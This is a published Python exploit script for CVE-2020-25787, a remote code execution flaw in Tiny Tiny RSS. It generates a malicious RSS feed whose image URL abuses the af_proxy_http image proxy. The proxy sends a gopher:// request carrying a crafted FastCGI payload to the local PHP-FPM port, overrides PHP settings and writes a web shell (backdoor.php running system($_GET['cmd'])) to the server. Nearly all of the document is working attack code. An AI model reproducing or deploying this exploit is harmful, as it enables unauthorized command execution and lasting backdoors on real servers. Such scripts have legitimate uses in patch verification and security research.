Tiny Tiny RSS - Remote Code Execution

# Exploit Title: Tiny Tiny RSS - Remote Code Execution
# Date: 21/09/2020
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog post: https://www.digeex.de/blog/tinytinyrss/
# Software Link: https://git.tt-rss.org/fox/tt-rss
# Version: all before 2020-09-16
# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef
# Tested on: default docker installation method
# CVE : CVE-2020-25787

#!/usr/bin/env python3

from sys import argv
import urllib.parse as ul
import base64


def CustomFcgi( filename, output, backdoor):
    length=len(output)+len(backdoor)+64
    char=chr(length)

    data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
    data += "CONTENT_LENGTH" + str(length) +  "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\n"
    data += "disable_functions = \nauto_prepend_file = php://input\x0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + "\r\x01DOCUMENT_ROOT/"

    temp1 = chr(len(data) // 256)
    temp2 = chr(len(data) % 256)
    temp3 = chr(len(data) % 8)

    end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
    end += "<?php file_put_contents('" + output + "',base64_decode("+ "'"+str(backdoor.decode('ascii'))+"')"+");die('executed');?>\x00\x00\x00\x00"
    start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

    payload = start + data + end
    def get_payload(payload):
        finalpayload = ul.quote_plus(payload, encoding="latin-1").replace("+","%20").replace("%2F","/")
        return finalpayload

    return "gopher://localhost:9000/_"+get_payload(get_payload(payload))



TTRSS_PATH = "/var/www/html/tt-rss/"
BACKDOOR_CODE = """
<?php
echo "success\n";
echo system($_GET['cmd']);
?>
"""


feed_file = open("malicious_RCE_feed.xml",'w')
filename = TTRSS_PATH + "config.php"
output = TTRSS_PATH + "backdoor.php"

backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))
rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"

feed ="""<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">

<channel>
  <title>Exploit demo - rce</title>
  <link></link>
  <description>You are getting infected :(</description>
  <item>
    <title> Check if there is backdoor.php</title>
    <link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link>
    <description>
    <![CDATA[
        Dummy text

        <img src="{}">

    ]]>
</description>
  </item>
</channel>
</rss>
""".format(rce)

feed_file.write(feed)
feed_file.close()